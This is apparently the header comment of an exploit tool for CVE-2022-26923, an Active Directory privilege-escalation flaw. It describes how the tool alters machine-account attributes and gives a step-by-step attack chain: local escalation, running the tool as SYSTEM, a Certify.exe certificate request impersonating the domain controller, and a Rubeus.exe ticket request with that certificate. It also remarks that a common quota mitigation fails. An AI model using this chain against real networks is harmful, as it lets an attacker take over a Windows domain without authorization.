// Exploit for Active Directory Domain Privilege Escalation (CVE-2022–26923)
// Author: @domchell - MDSec
// This exploit can be used to update the relveant AD attributes required to enroll in a machine template as any machine in AD using an existing machine account
// Adjusting MS-DS-Machine-Account-Quota is not sufficient to stop this attack :)

// Steps:
// 1.       Escalate on any workstation (hint: krbrelayup ftw)
// 2.       Execute UpdateMachineAccount.exe as SYSTEM
// 3.       Enroll in machine template e.g. (Certify.exe request /ca:"ca.evil.corp\\CA" /template:Computer /machine /subject:CN=dc.evil.corp
// 4.       Request a TGT using the certificate e.g. (Rubeus.exe asktgt /user:dc$ /domain:evil.corp /dc:dc.evil.corp /certificate:<base64 cert> /enctype:AES256)
